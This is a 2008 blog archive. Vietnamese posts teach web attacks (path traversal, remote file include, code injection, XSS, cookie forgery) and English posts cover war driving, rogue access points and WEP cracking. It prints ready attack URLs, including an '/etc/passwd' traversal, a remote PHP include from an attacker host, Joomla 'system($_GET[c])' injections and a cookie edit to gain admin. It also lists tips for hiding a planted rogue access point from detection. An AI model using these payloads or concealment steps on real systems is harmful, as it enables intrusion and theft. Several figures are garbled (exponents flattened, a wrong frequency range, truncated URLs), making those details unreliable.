Bài 6: Path Traversal và URIs Thứ Tư, Tháng 6 18 2008 


được tài trợ bởi http://vedepvn.com

Việc sử dụng rộng rãi các Web application sẽ đóng vai trò như một trình bao bọc (wrapper) cho các tập tin của Web content, mở và gói chúng trả lại trong các đoạn HTML. Điều này có thể thấy ở ví dụ trên về code injection. Một lần nữa sanity check là chìa khóa để ……… .. Nếu như variable đó đang được đọc để chỉ định tập tin sẽ được wrapped không được kiểm tra, thì đường dẫn tương đối có thể được nhập vào.

Từ ví dụ của chúng tôi về misc.code injection, nếu developer không thể chỉ định một tập tin có hậu tố là fopen ():
fopen(”$file” , “r”);
… thì attacker có thể traverse đến bất kỳ tập tin nào có thể đọc được bằng Web application.
http://www.victim.com/index.php?file=../../../../etc/passwd
Yêu cầu này sẽ gửi trả những nội dung của /etc/passwd trừ phi quá trình xoá bổ sung ký tự đường dẫn (/.) đã được thực hiện trên biến tập tin này.
Vần đề này càng thêm tồi tệ vì quá trình handling tự động của URIs bằng nhiều kỹ thuật scripting Web hiện đại, bao gồm PHP, Jave và Microsoft’s .NET.
Và đây là 1 ví dụ trên nền Flatform khác với Code ứng dụng dotnet

Code and Content Injection (Bài 5) Thứ Tư, Tháng 6 18 2008 


được tài trợ bởi http://vedepvn.com

Code injection là gì? Các lỗ hổng code injection xảy ra khi output hay content từ một Web App bị điều chỉnh bằng cách nào đó mà nó nó khởi động quá trình thực thi mã trên server. Ở một số Web AP kém chất lượng mà ở đó user có thể sửa đổi những tập tin trên server người ta có thể inject code trong ứng dụng đó.
Loại lỗ hổng này xoay quanh cách ứng dụng đó load và pass những nội dung của những tập tin đã bị điều chỉnh này – nếu nó được thực hiện trước khi scripting language bị phân tách và thực thi thì nội dung đã được user hiệu chỉnh khó tránh khỏi bị phân tách và thực thi.
Ví dụ : Một bản tin đơn giản trong PHP
Code
Đoạn mã PHP sau đây được sử dụng để hiện thị các posts cho một message board đặc biệt. Nó thu hồi messageid GET variable từ user và mở tập tin $messageid.txt dưới /var/www/forum:
Mặc dù việc kiểm tra is_numeric () ngăn không cho user vào đường dẫn tập tin như messageid nhưng nội dung của message file thì không được kiểm tra. (Vấn đề cho phép uncheck entry của đường dẫn tập tin sẽ được giải thích sau). Nếu một thông điệp có chứa mã PHP, thì nó sẽ là include () ‘d và do đó sẽ được thực thi bởi server .

Cách đơn giản để khai thác lỗ hổng đơn giản này là gửi đến message board một đoạn mã đơn giản bằng ngôn ngữ của ứng dụng đó (trong ví dụ này là PHP), rồi quan sát điểm đó và xem thử output có biểu thị mã đã được thực thi hay không.
Khi chúng ta quan sát bằng SQL injection, những ký tự đặc biệt SQL và từ khoá phải được xóa. Nhưng đối với một Web Application mở một cổng nối tiếp và nhập thông tin từ xa qua modem thì sao ? Liệu user input của một modem command escape string có thể làm cho modem ngừng quay số và bấm lại số khác được hay không? Đây đơn thuần chỉ là một ví dụ về khái niệm injection. Điểm quan trọng đối với một penetration tester là hiểu được những gì mà Web Application đó đang chạy trên background, và liệu những đối số đối của các call hay chuỗi command này có thể bị điều chỉnh thông qua các header, cookie và các biến GET/POST hay không.
REMOTE FILE INCLUDE
Ví dụ: PHP fopen ()
Tham khảo
http://www.php.net/fopen
Hãy lấy PHP fopen (), một vấn đề phổ biến như một ví dụ về thế giới thực. Hàm PHP’s file-open fopen () dành cho URLS sẽ được nhập vào vị trí của một filename, đơn giản hoá quá trình truy cập những dịch vụ Web và tài nguyên từ xa. Chúng ta hãy lấy ví dụ về một trang đơn giản như sau:
Code
URL: www.victim.com/index.php?file=file
Tập lệnh index.php bao gồm header code và footer code, và trang fopen ()’ được biểu thị bằng file GET variable. Nếu không có file variable (biến tập tin) nào được cài đặt thì nó sẽ mặc định thành main.html. Developer phải đặt một tập tin có phần mở rộng là .html, nhưng không chỉ định directory prefix. Khi PHP developer kiểm tra mã này ngay lập tức sẽ thấy rằng mã này rất dễ bị phá vỡ đối với directory traversal attack, miễn là filename đó requested ends in .html (Xem ở dưới).
Tuy nhiên, do những tính năng xử lý URL của fopen (), trong trường hợp này một attacker có thể submit như sau:
http://www.victim.com/index.php?file=http:…remote.com/file

Điều này sẽ buộc example application phải fopen () file file .html đó tại http://www.remote.com/. Nếu tập tin này có chứa PHP code (Nếu host của kẻ tấn công có hỗ trợ PHP thì tập tin chứa trong định dạng plain) thì nó sẽ được kết nạp vào output của index.php application đó, và do đó sẽ được thực thi bởi server. Bằng cách này, một attacker có thể inject PHP code ảo vào output của Web application, và buộc server phải thực thi mã theo ý kẻ tấn công.

Chú ý : Nhiều trường hợp test remote không thành công là do thiếu các lệnh khai thác ngay sau tập tin thực thi

Những kiểu này là rất phổ biến đối với PHP code như Joomla, Mambo… Như Joomla riêng năm 2007 có trên 10 lỗi bị RFI

Code
http://www.example.com/administrator/components/com_tour_toto/admin…
http://www.example.com/index.php?searchword=”;phpinfo();%23&option=com_search&Itemid=1
http://www.example.com/index.php?c=id&searchword=”;system($_GET[c]);%23&option=com_search&Itemid=1
http://www.example.com/index.php?option=com_ponygallery&Itemid=…[SQL inject]
http://www.example.com/components/com_sitemap/sitemap.xml.php?mosCo…[Shell]
http://www.example.com/administrator/components/com_comprofiler/plu…
lute_path=[Shell]‘
….

Kết cục đó là chính Joomla.org bị deface 2 lần trong năm nay

Năm 2006 cũng đánh dấu một bug (lỗi? – có bạn nào bug không phải là lỗi???) kinh hoàng của IPB, đó là hàm EVAL của phần search trên IPB làm cho HVA bị mất hết dữ liệu
Code
http://www.ipbforum.com/index.php?act=Search&CODE=show&sear…|eval.*?%20//)%23e%00

Một vài ví dụ lỗi của RFI

Bài 4: XSS attack – Chèn mã lệnh thực thi trên trình duyệt Thứ Tư, Tháng 6 18 2008 

được tài  trợ  bởi http://vedepvn.com

Cross-Site Scripting hay còn được gọi tắt là XSS (thay vì gọi tắt là CSS để tránh nhầm lẫn với CSS-Cascading Style Sheet của HTML) là một kĩ thuật tấn công bằng cách chèn vào các website động (ASP, PHP, CGI, JSP …) những thẻ HTML hay những đoạn mã script nguy hiểm có thể gây nguy hại cho những người sử dụng khác. Trong đó, những đoạn mã nguy hiểm đựơc chèn vào hầu hết được viết bằng các Client-Site Script như JavaScript, JScript, DHTML và cũng có thể là cả các thẻ HTML.

Biểu đồ tỷ lệ XSS Bug trong Web App (Nguồn Acunetix)

Kỹ thuật nay chuyên thực thi trên trình duyệt người dùng để đánh cắp cookies, mật khẩu, session hay fishing lừa đảo … bằng cách chèn các script lợi dụng DOM (Document Object Model) tại các vị trí sau: (Xem file đính kèm)

download here

Bài 3: Kỹ thuật tấn công thông qua Cookies Thứ Tư, Tháng 6 18 2008 

được tài trợ bởi http://vedepvn.com

(hyxd -vhs)

Khi lập trình website, các coder thường xử dụng 2 kỹ thuật xác định authentication của dữ liệu bằng phiên làm việc (session time out của Hệ thống) hoặc Cookies, Tuy nhiên theo Cookies được ưa chuộng hơn do ưu điểm không phụ thuộc vào time out của hệ thống và không tăng CPU Process của một Web App làm cho chương trình hoạt động nhẹ nhàng hơn.

Chính vì vậy, thông qua lỗi XSS hay một số lỗi khác như SQL injection, Attacker có thể chiếm được thông số cookies để biến cookies theo tham số mới của victim để chiếm phiên làm việc của nạn nhân. Về Fake cookies thế nào, HY xin bàn đến ở phần khác vì nó khá dễ dàng và trên này cũng đã có khá nhiều bài viết về nó.
Xin ví dụ một số trường hợp cơ bản
Ví dụ của 1 Forum Open code đã có Cookies cho thành viên dạng như sau:
Code
Cookie: Lang en-us MemberID=1234 Type=4 Time:12:30PM;
Ta chú ý MemberID=1234 Type=4 ? Vì Type=4 là Member, nếu để ý hơn sẽ thấy các Type khác như 3,2,1 và ở đây Type=1 là ADMIN. Nếu ta thay như sau
Code
Cookie: Lang en-us MemberID=1 Type=1 Time:12:30PM;
Điều gì sẽ xảy ra khi ta khởi động lại trình duyệt? dĩ nhiên ta đang chiếm phiên làm việc của admin
Giải pháp:
1. Mã hóa cookies
2. Tạo session lưu trên máy chủ để so sánh thêm
P/s : Tuy nhiên cuộc chiến về Cookies và Session ID thì chưa bao giờ có hồi kết bất chấp mọi biện pháp vì những lỗi khác liên quan có thể giúp attaker “phun” các dữ liệu ra. Hiện nay các diễn đàn và các Blog rất dễ bị mắc các lỗi thông qua Cookies

Một ví dụ về Bug của IBP giúp cho ta có thể khai thác được các thông số của 1 ID bất kỳ

Kiến thức về bảo mật web , Tuyển tập nhiều kỳ – P1 Thứ Tư, Tháng 6 18 2008 

(hoangyenxinhdep – vhs)

được tài trợ bởihttp://vedepvn.com

Trước khi viết một loạt các bài viết về Tấn công và bảo mật website HY xin có một số ý kiến
1. Hy không phải là coder nên phần code có thể không nắm rõ thuật ngữ hay cơ chế hoạt động bên trong của 1 hệ thống một cách kỹ càng
2. Kiến thức là đi học hay tìm hiểu mà có, nên có thể là kiến thức đã cũ hay trùng lặp đâu đó
3. Các bạn tuyệt đối không sử dụng để đi tấn công bất kỳ một hệ thống nào mà GÂY HẠI đến nó

Chúng ta có thể bắt đầu

Bài 1 : Thao tác trên tham số truyền Get hoặc post

Một số Code lập trình có tham số victim.com/admin.php?username=ABC&newpass=xxxx cho phép user đổi pass mới mà không check các tham số session, Oldpass hay authentication, ta có thể mò được tham số truyền này để đổi password của admin hay user bằng cách gõ victim.com/admin.php?usename=ABC&newpass=123456 với 123456 là password mới cần đổi

Ví dụ điển hình :
1. Snitz forum 3.0.4 cho phép change password bất kỳ ID nào thông qua 1 form change pass do forum cung cấp qua email của attacker đăng ký bằng 1 nick bình thường
2. Hệ thống Yahoo
Yahoo domain đã có 1 sơ hở trên add_access_results.php cho phép ta có thể add quyền quản lý domain của bất kỳ domain nào trên Yahoo sang ID của ta bằng tham số truyền

Ví dụ domain http://www.spendingspending.com

….

Cách khắc phục :

- Ứng dụng cơ chế bảng băm (hash table), tức là mỗi 1 username sẽ được kèm 1 theo 1 biến hash lưu trong data, mỗi khi người dùng đăng nhập sẽ có 1 hash đi kèm và sẽ so sánh trên csdl để đảm bảo username này là hợp lệ, và sẽ tránh được các request thực thi khi không có hash.

Hết bài 1

CD Ứng Dụng Bảo mật Thứ Tư, Tháng 4 2 2008 

Link down trực tiếp cho các bạn!

Link Down load: http://360vnitblog.googlepages.com/cdungdungbaomat

Wireless security 2 Chủ nhật, Tháng 3 9 2008 

When a surveillance attack is either impossible or too difficult, war driving is an effective alternative. In many situations, war driving follows and adds information to a prior surveillance attack. Conversely, the information obtained from random war driving often leads to a surveillance attack on a discovered location.

The term war driving is derived from the 1980s phone hacking tactic known as war dialing. War dialing involves dialing all the phone numbers in a given sequence to search for modems. In fact, this method of finding modems is so effective that it’s still in use today by many hackers and security professionals. Similarly, war driving, which is in now its infancy, will most likely be used for years to come, both to hack and to help secure wireless networks.

War driving first became popular in 2001. At that point, tools for scanning wireless networks became widely available. The original tools used by war drivers included the basic configuration software that comes with the Wireless Network Interface Card (WNIC). However, this software was not designed with war drivers or security professionals in mind, and thus was not very effective. This created the need for better software. Nevertheless, war drivers have not abandoned the use of WNIC software altogether—in fact, it still serves as a useful complement to modern advanced software.

Why do we need ethical war drivers? Many large corporations have stated that they are not worried about their wireless networks because they would be able to see the attacker in the parking lot and have onsite security pick them up. The problem with this line of thinking is that the wireless networks can, and usually do, extend well past the parking lot. Keep in mind that this is a wireless technology, and unlike standard wired networks, the wireless data packets are not limited by the reach of Cat5 cable. In fact, wireless networks using standard devices and aftermarket antennas have been known to extend over twenty-five miles. Knowing this, an attacker can be much farther away than your parking lot and still access your network.

War driving itself does not constitute an attack on the network, and many authorities feel that it does not violate any law. However, this assumption has yet to be tested in the United States court system, and if it ever is, it will be difficult to rule against the war driver.

Specifically, when an attacker (or an honest administrator) is war driving, she is usually on some type of public property, and could even be mobile in some type of car or bus. The software on her computer allows her to capture the beacon frames sent by access points about every 10 milliseconds. Access points use this beacon to broadcast their presence and to detect the presence of other access points in the area. Clients also use the beacon frames to help them determine the available networks in their office. In fact, Microsoft’s Windows XP can give you a list of wireless networks using these beacon packets. Thus, war driving per se is legal, since the access points are actually reaching out and broadcasting to you, rather than vice versa. You are merely a passive recipient, whether you like it or not. One of the best-known war driving software packages is called NetStumbler. The following list shows some of the information that’s gathered by NetStumbler and made available based on the beacon frames:

Basic Service Set ID (BSSID)

WEP-enabled or not

Type of device (AP or peer)

MAC address of wireless device

Channel device was heard on

Signal strength of device

Longitude and Latitude (if using a GPS)

War driving is typically performed while mobile in cars or buses. One very effective way to war drive a new city is to use public transportation or even a tour bus. Both offer a safe opportunity for you to work the computer and observe what’s around you—leaving the driving to someone else. Alternatively, many war drivers are outfitting their vehicles with various setups and antennas to allow for constant war driving (CAUTION: Dont peform while moving). War driving is performed by all sorts of people. The various war drivers we have met are not the types of people you might expect to be checking out your networks. Most would picture high school kids out on the weekend searching for networks to hack. Granted, these types of people are out there, but the vast majority are older professionals who war drive as part of their legitimate network auditing duties. Over the next few years, more security professionals will add war driving to their regular network maintenance schedule. Unfortunately, more attackers will likewise use this method to detect your wireless network. Now that we have found our target wireless network, the actual attack begins.

[Rogue and Unauthorized Access Points]

Two primary threats can occur from rogue and unauthorized access points. First, there is the employee’s ability to install unmanaged access points. The second threat is access point spoofing. A Gartner Group report found that 20 percent of networks have rogue access points attached. Although this isn’t the kind of figure you’ll be tested on, it is sobering as it indicates that on average one in five access points are unauthorized. The ease of use of wireless equipment and the lure of freedom is just too much for some employees to resist. The way to prevent and deter rogue access points is by building strong policies that dictate harsh punishments for individuals who are found to have installed rogue access points and by performing periodic site surveys. Rogue access points are those connected to a network without planning or permission from the network administrator. For example, we know one administrator in Dallas who just did his first wireless security scan (war driving) on his eight-building office campus. To his surprise, he found more than thirty access points. Worse, only four of them had authorization to be connected to the network. Needless to say, heads rolled. Access point spoofing is another real security risk. Access point spoofing occurs when the hacker sets up his own rogue access point near the victim’s network or in a public place where the victim might try to connect. If the spoofed access point has the stronger signal, the victim’s computer will choose the spoofed access point. This puts the hacker right in the middle of all subsequent transmissions. From this man-in-the-middle, the hacker can attempt to steal user-names and passwords or simply monitor traffic. When performed in an open hot spot, this attack is sometimes referred to as the evil twin attack. Host routing is also a potential problem for wireless clients. Both Windows and Linux provide IP forwarding capabilities. Therefore if a wireless client is connected to both a wired and wireless network at the same time, this can expose the hosts on the trusted wired network to any hosts that connect via the wireless network. Just by a simple misconfiguration, an authorized client might be connected to the wired network while unknowingly having its wireless adapter enabled and connected to an unknown WLAN. If a hacker is able to compromise the host machine via the open WLAN adapter, he would then be positioned to mount an attack against the hosts on the wired network. Rogue access points are becoming a major headache in the security industry. With the price of low-end access points dropping to just over one hundred dollars, they are becoming ubiquitous. Furthermore, many access points feature settings that make them next to transparent on the actual network, so their presence cannot be easily detected. Many rogue access points are placed by employees looking for additional freedom to move about at work. The employees simply bring their access points from home and plug them directly into the corporate LAN without authorization from the IT staff. These types of rogue access points can be very dangerous, as most users are not aware of all the security issues with wireless devices, let alone the security issues with the wired network they use each day.

In addition, it is not always well-intentioned employees who deploy rogue access points. Disgruntled employees, or even attackers, can deploy an access point on your network in seconds, and they can then connect to it later that night. In addition, if the access point has DHCP enabled, you now have a rogue DHCP server in addition to a wireless hole in your perimeter.

The following are seven key points to successfully placing a rogue access point:

Determine what benefit can be gained from placing the access point.

Plan for the future. Pick a location that will allow you the ability to work on a laptop or PDA without looking suspicious.

Place the access point in a discreet location that allows for maximum coverage from your connection point.

Disable the SSID Broadcast (silent mode). This will further complicate the process of detecting the access point, as it will now require a wireless sniffer to detect the rogue access point.

Disable any management features. Many access points have the ability to send out SNMP traps on both the wired and wireless networks.

Whenever possible, place the access point behind some type of firewall, thus blocking the MAC address from the LAN and the ARP tables of routers. There are several programs on the market that scan wired networks looking for the MAC addresses of access points.

Do not get greedy! Leave the access point deployed for short periods of time only. The longer it is deployed, the more likely you are to get caught.

If you already have a wireless network deployed and someone places a rogue access point on your network using your existing SSID, you might have additional problems. This type of access point can extend your network well beyond the bounds of your office. In some cases, the rogue access point can be set up as a link broadcasting your network traffic across town. They can even be made to appear as if they are part of your network, thus causing clients on your network to use them for connectivity. When a client connects to the rogue access point and attempts to access a server, the username and password could be captured and used later to launch an attack on the network.

With the recent explosion in the use of 802.11b networks, the state of network security has been set back over a decade. In many cases, the goal of the attacker is not just to connect to and exploit the wireless network, but also to gain free Internet access or a foothold into the wired network beyond. If you are planning to deploy a wireless network, always put security first. In addition, security managers must implement measures to detect and combat rogue access points and unauthorized clients. There are many 802.11b hardware vendors, and as the popularity of wireless networks increases, there are sure to be more. The products that we have tested and included in this chapter are a tiny selection of the vast array of products on the market. However, each of the products reviewed herein has exceeded our expectations, and you have our personal recommendation on each of them. Of course, each person and network is unique. You should consider specific environment and application requirements when you decide to purchase one product over another. Wired Equivalent Privacy (WEP) should be used on all deployments of 802.11b networks. This technology, although flawed, will prevent casual interpretation of your network traffic and will help reduce the number of attacks against it. Although it is possible to crack WEP, the amount of time required to do so, combined with the sheer number of easier-to-crack access points that are not running it usually causes an attacker to look elsewhere. However, you should not rely on WEP as your sole measure of security. As always, a traditional, layered approach to security is best. Wireless attacks can be launched by virtually anyone, from virtually anywhere. From the person next to you in the elevator working on her PDA to the occupants of the car driving next to you at 70 MPH on the freeway, all can be hacking your wireless networks at this very moment. If you do not take the necessary precautions to protect yourself, you might as well just give them a key to your office.

Wireless security 1 Chủ nhật, Tháng 3 9 2008 

Wireless Networks are increasingly becoming popular due to there advance design, convenience and cost but at same time introduced many security issues and holes.

A wireless LAN offers a fast way to provide data connectivity to an existing building where wiring may not be practical due to construction design, location or expense. Typical problems associated with the physical aspects of wired LAN connections do not arise as frequently with a wireless network. Laptops could be carried into meetings or even cafes. This convenience has become affordable but also inviting to Hackers. So how does Wireless Connection works?

A wireless LAN is one in which a mobile user can connect to a local area network (LAN) by a radio connection. A standard, IEEE 802.11. The standard includes an encryption method, the Wired Equivalent Privacy algorithm. WLANs do raise the issue of security due to certain inherent features such as radio waves being easier to intercept than physical wires. Though the user authentication and data encryption system known as Wired Equivalent Privacy or WEP is being used; by itself, it falls very short of providing good security. Despite the fact that WEP was never intended to provide security and only privacy, it has been seen that most WLANs trust on it to provide security. Each access point in a Wi-Fi network shares a fixed amount of bandwidth among all the users who are currently connected to it on a first-come, first-served basis. Since one of the major benefits of wireless networking is user mobility, an important issue to consider is whether users can move seamlessly between access points without having to log in again and restart their applications. Most large corporate data networks are divided into a number of smaller pieces called subnets for traffic management and security conserns. In many instances wireless LAN vendors provide seamless roaming within a single subnet, but not when a user moves from one subnet to another. Roaming is possible if the access points have a way of exchanging information as a user connection is handed off from one to another. However, such solutions are expensive and integrating the various components requires a considerable amount of patient networking expertise. The objective is to deploy and maintain secure, high performance wireless LANs with a minimum amount of time, effort and expense. Wireless networks and access points (APs) are some of the simplest and inexpensive types of targets to footprint and also some of the hardest to detect and change. Securing wireless networks is a challenge, but it can be accomplished. Wireless signals don’t stop at the outer walls of the facility. Wireless is accessible by many more individuals than have access to your wired network. Although we look at some specific tools and techniques used to secure wireless, the general principles are the same as those used in wired networks. Deploying many layers of security makes it much harder for an attacker to overcome the combined security mechanisms. Defense in depth is about the concept of building many layers of protection, such as

Encrypting data so that it is hidden from unauthorized individuals

Limiting access based on least privilege

Providing physical protection and security to the hardware

Using strong authentication to verify the identity of the users who access the network

Employing layers of security controls to limit the damage should one layer of security be overcome

[Securing Wireless Networks]

Treat Access Points As Untrusted – Access points need to be identified and evaluated on a regular basis to determine if they need to be quarantined as untrusted devices before wireless clients can gain access to internal networks. This determination means appropriate placement of firewalls, virtual private networks (VPN), intrusion detection systems (IDS), and authentication between access point and intranets or the Internet.

Access Point Configuration Policy – Administrators need to define standard security settings for any 802.11b access point before it can be deployed. These guidelines should cover SSID, WEP keys and encryption, and SNMP community words.

Access Point Discovery – Administrators should regularly search outwards from a wired network to identify unknown access points. Several methods of identifying 802.11b devices exist, including detection via banner strings on access points with either Web or telnet interfaces. Wireless network searches can identify unauthorized access points by setting up a 2.4 GHz monitoring agent that searches for 802.11b packets in the air.

These packets may contain IP addresses that identify which network they are on, indicating that rogue access points are operating in the area. One important note: this process may pick up access points from other organizations in densely populated areas

Access Point Security Assessments – Regular security audits and penetration assessments quickly identify poorly configured access points, default or easily guessed passwords and community words, and the presence or absence of encryption. Router ACLs and firewall rules also help minimize access to the SNMP agents and other interfaces on the access point.

Wireless Client Protection – Wireless clients need to be regularly examined for good security practices. These procedures should include the presence of some or all of the following: Distributed personal firewalls to lock down access to the client

VPNs to supplement encryption and authentication beyond what 802.11b can provide. It can also destroy the throughput on a wireless network.

Intrusion detection and response to identify and minimize attacks from intruders, viruses, Trojans and backdoors

[What is 802.11]

Wireless LAN standards are defined by the IEEE’s 802.11 working group. WLANs come in three flavors:
802.11b: Operates in the 2.4000 GHz to 2.2835GHz frequency range and can operate at up to 11 megabits per second.

802.11a: Operates in the 5.15-5.35GHz to 5.725-5.825GHz frequency range and can operate at up to 54 mega bits per second.

802.11g: Operates in the 2.4GHz frequency range (increased bandwidth range) and can operate at up to 54 megabits per second.

WEP standards are defined in the 802.11 standard and not the individual standards. WEP vulnerabilities have the potential to affect all flavors of 802.11 networks.

802.11 is a standard by IEEE, on which wireless LANs are based, allowing for cross vendor products to seamlessly interact with each other. Let us take a look at how this standard works. 802.11 wireless networks should not be confused with Bluetooth, which was developed by a commercial companies such as Motorola, and Microsoft.

According to this standard, data is encoded using DSSS (direct sequence spread-spectrum) technology. DSSS works by taking a data stream of zeros and ones and modulating it with a second pattern, termed the chipping sequence. Chipping spreads modulated data across the spectrum in a way that makes it possible to handle some signal loss.

When this standard was introduced, the chipping sequence chosen was the Barker code. This is an 11-bit sequence (10110111000) that generates a carrier wave, modulated with Binary or Quadrature Phase Shift Keying (B/QPSK). Modulating with BPSK yields 1 Mbps, while modulating the direct sequence with QPSK 2Mbps.

The basic data stream is exclusive, mixed with the Barker code to generate a series of data objects called chips. Each bit is then “encoded” by the 11-bit Barker code, and each group of 11 chips goes on to encode one bit of data.

[WEP]

WEP is a component of the IEEE 802.11 WLAN standards. Its primary purpose is to provide for confidentiality of data on wireless networks at a level equivalent to that of wired LANs. WEP is vulnerable because of relatively short IVs and keys that remain static. Even if WEP is enabled, MAC addresses can be easily sniffed by an attacker as they appear in the clear format. Spoofing MAC address is also easy.

Wired LANs typically employ physical controls to prevent unauthorized users from connecting to the network and viewing data. In a wireless LAN, the network can be accessed without physically connecting to the LAN.

IEEE chose to employ encryption at the data link layer to prevent unauthorized eavesdropping on a network. This is accomplished by encrypting data with the RC4 encryption algorithm

Wired Equivalent Privacy (WEP) is a security protocol, specified in the IEEE Wireless Fidelity (Wi-Fi) standard, 802.11b, that is designed to provide a wireless local area network (WLAN) with a level of security and privacy comparable to what is usually expected of a wired LAN. WEP is 802.11’s optional encryption standard implemented in the MAC Layer that most radio network interface card (NIC) and access point vendors support.

WEP is used to protect wireless communication from eavesdropping. A secondary function of WEP is to prevent unauthorized access to a wireless network. Though this function has not been explicitly mentioned in the 802.11 standard, it is generally considered to be a feature of WEP.

WEP relies on a secret key that is shared between a mobile station (a laptop with a wireless Ethernet card) and an access point at base station. The secret key is used to encrypt packets before they are transmitted, and an integrity check is used to ensure that packets are not modified in transit.

If a user activates WEP, the NIC encrypts the payload (frame body and CRC) of each 802.11 frame before transmission using an RC4 stream cipher provided by RSA Security. The receiving station, such as an access point or another radio NIC, performs decryption upon arrival of the frame. As a result, 802.11 WEP only encrypts data between 802.11 stations. Once the frame enters the wired side of the network, such as between access points, WEP no longer applies.

WEP uses the RC4 encryption algorithm, also known as a stream cipher. A stream cipher operates by expanding a short key into an infinite pseudo-random key stream. Before transmission takes place, WEP combines the key stream with the payload/ICV through a bitwise XOR process, which produces ciphertext (encrypted data). XORing the key stream with the ciphertext yields the original plaintext. WEP includes the IV in the clear (unencrypted) within the first few bytes of the frame body. The receiving station uses this IV along with the shared secret key supplied by the user of the receiving station to decrypt the payload portion of the frame body.

In most cases the sending station will use a different IV for each frame. When transmitting messages the beginning of each encrypted payload will be equivalent when using the same key. This means that after encrypting the data, the beginnings of the frames would be the same, offering a pattern that can facilitate attackers in cracking the encryption algorithm. WEP guards against this by allowing different IVs to be used, though the key used is the same.

However, the 802.11b standard does not discuss how the shared key is established in practice. Typically, most installations use a single key that is shared between all mobile stations and access points. This raises the security concern as an attacker can flip a bit in the ciphertext, so that upon decryption, the corresponding bit in the plaintext is also flipped.

Moreover if he can intercept two ciphertexts encrypted with the same key stream, he can obtain the XOR of the two plaintexts. Knowledge of this XOR can enable statistical attacks to recover the plaintexts. The probability of success of statistical attacks increases in direct proportion to the ciphertexts using the same key stream. It becomes a trivial exercise to recover all plaintexts, once the attacker knows one of them. Let us look why this is possible.

As part of the encryption process, WEP prepares a key schedule (“seed”) by concatenating the shared secret key supplied by the user of the sending station with a random-generated 24-bit initialization vector (IV). The IV lengthens the life of the secret key because the station can change the IV for each frame transmission. WEP inputs the resulting “seed” into a pseudo-random number generator (PRNG) that produces a key stream equal to the length of the frame’s payload plus a 32-bit integrity check value (ICV).

The ICV is a check sum that the receiving station eventually recalculates and compares to the one sent by the sending station to determine whether the transmitted data underwent any form of tampering while intransient. If the receiving station calculates an ICV that doesn’t match the one found in the frame, then the receiving station can reject the frame or flag the user.

WEP specifies a shared secret 40 or 64-bit key to encrypt and decrypt the data. Some vendors also include 128 bit keys (know as “WEP2″) in their products. With WEP, the receiving station must use the same key for decryption. Each radio NIC and access point, therefore, must be manually configured with the same key.

Before transmission takes place, WEP combines the key stream with the payload/ICV through a bitwise XOR process, which produces ciphertext (encrypted data). WEP includes the IV in the clear (unencrypted) within the first few bytes of the frame body. The receiving station uses this IV along with the shared secret key supplied by the user of the receiving station to decrypt the payload portion of the frame body.

We will consider the 64-bit key generator here. In the figure below, the ASCII text “PassPhrase” is mapped to 32-bit value with XOR. The XOR operation guarantees four zero bits. However, since the input is ASCII, high bit of each character is always zero. The XOR of these high bits is also zero. Therefore only seeds from 00:00:00:00 through 7f:7f:7f:7f can occur.

The result value is used as seed to 32-bit linear congruential PRNG. Forty values are generated from PRNG, of which one byte is taken from each 32-bit result. Now, for each 32-bit output, only bits 16 through 23 are used. This flaw results in low bits being “less random” than the higher bits. The 64-key generator is a linear congruential generator modulo 2^32. Bit 0 has a cycle length of 2^1, Bit 3 has a cycle length of 2^4, etc. Therefore the resultant bytes can have a cycle length of 2^24. This makes seeds 00:00:00:00 through 00: ff: ff: ff only to result in unique keys. This implies that the 64-key generator has an entropy of 21-bits, as the number of unique keys that can be generated is 2^21.

[WEP Brute-Forcing]

Pure WEP keyspace brute-forcing with tools such as wep_tools or dwepcrack brute-forcing options is realistic only against 40-bit WEP keys. Even with this limited key size, it might take about 50 days on a single average Pentium III host. Nevertheless, an efficient distributed attack against 40-bit WEP is possible and one should never underestimate the potential of dictionary attacks, which are also applicable to 128-bit and higher WEP key size. In particular, it applies to the use of the newer Wepattack tool that can run dictionary attacks against a single captured data packet encrypted using WEP.

Algorithm accepted as the de facto standard for 40-bit WEP key generation by many wireless equipment vendors is extremely flawed. It starts from folding a password string into a 32-bit number that reduces the keyspace from 240 to 232 bits. This number is employed to seed a pseudorandom number generator (PRNG; see Chapter 11), which is used to derive all four 40-bit WEP keys used on the network. Although the PRNG-generated keyspace has a cycle length of 232 bits, because of the way the values are derived from the PRNG, the actual cycle length of drawn values is only 224 bits. To be more specific, a seed x produces the same keys as a seed x + 224. To make the situation even worse, the method chosen to fold a password string into a 32-bit seed ensures that the high bit of each of the four bytes always equals zero. The effect of these weaknesses combined is that the algorithm can only generate 221 unique sets of WEP keys, corresponding to seeds between 0 and 0×1000000, which do not have bits 0×80, 0×8000, or 0×800000 set. Thus, it takes 221 operations or less to crack any set of WEP keys generated from a password processed with such an algorithm. In one observation, this corresponds roughly to 90 seconds of cracking time on a 233-MHz PII or 35 seconds on a 500-MHz PIII; this is quite a difference if compared to 50 days of brute-forcing without this flaw.

However, not all vendors used the vulnerable key generation algorithm, 40-bit keys aren’t used much anymore, and there are tools that ensure proper 40-bit key generation. An example of such a tool is dwepkeygen, included as part of BSD-airtools. In addition, to crack WEP using wep_tools, a large (about 24 Gb) pcap-format dump file is required. Its not recommend trying the attack or using brute-forcing in general against 128/104-bit WEP keys used by modern wireless networks.

However if you have truly massive traffic dump files, trying a dictionary attack using wep_tools or dwepcrack could bring success. Even better, you can try your luck with a dictionary attack against a single captured data packet or limited-size traffic dumps using Wepattack.

[Security issues]

WEP is vulnerable because of relatively short IVs and keys that remain static. It is not the RC4 algorithm that is at fault, but the fact that the entropy of the key generator is only 21. With only 24 bits, WEP ultimately uses the same IV for different data packets. WEP does not encrypt the entire transmission. The header and trailer of the frame are sent in clear text. This means that even when encryption is used, a MAC address can be sniffed. Hacker can therefore decrypt any of the 802.11 frames. The static nature of the shared secret keys only adds to this problem. 802.11 do not provide any functions that support the exchange of keys among stations. As a result, system administrators and users generally use the same keys for weeks, months, and even years. Unfortunately, WEP is fundamentally flawed, allowing you to crack it. However, even though it is possible to crack WEP encryption, we still highly recommend that you use it on all of your wireless networks. This will thwart the casual drive-by hacker, and it also enables another layer of legal protection that prohibits the cracking of transmitted, encrypted signals. With that in mind, let’s look at the practical process of cracking WEP. The most important tool that you’ll need to crack a WEP-encrypted signal is time. The longer you capture data, the more likely you are to receive a frame that will leak a key byte. There is only about a 5% chance, in some cases a 13% chance, of this happening. On average, you will need to receive about 5,000,000 frames to crack a WEP-encrypted signal. To actually capture the encrypted data, you will need a wireless sniffer such as AirSnort.

[Issues Plaguing WEP Key]

Management Keys are manually distributed

Keys are statically configured (therefore infrequently changed and easy to remember)

It uses four 40-bit keys (or one 104-bit key)

Key values can be directly set as hex data.

Key generators provided for convenience. ASCII string is converted into keying material. There are different key generators for 64- and 128-bit encryption.

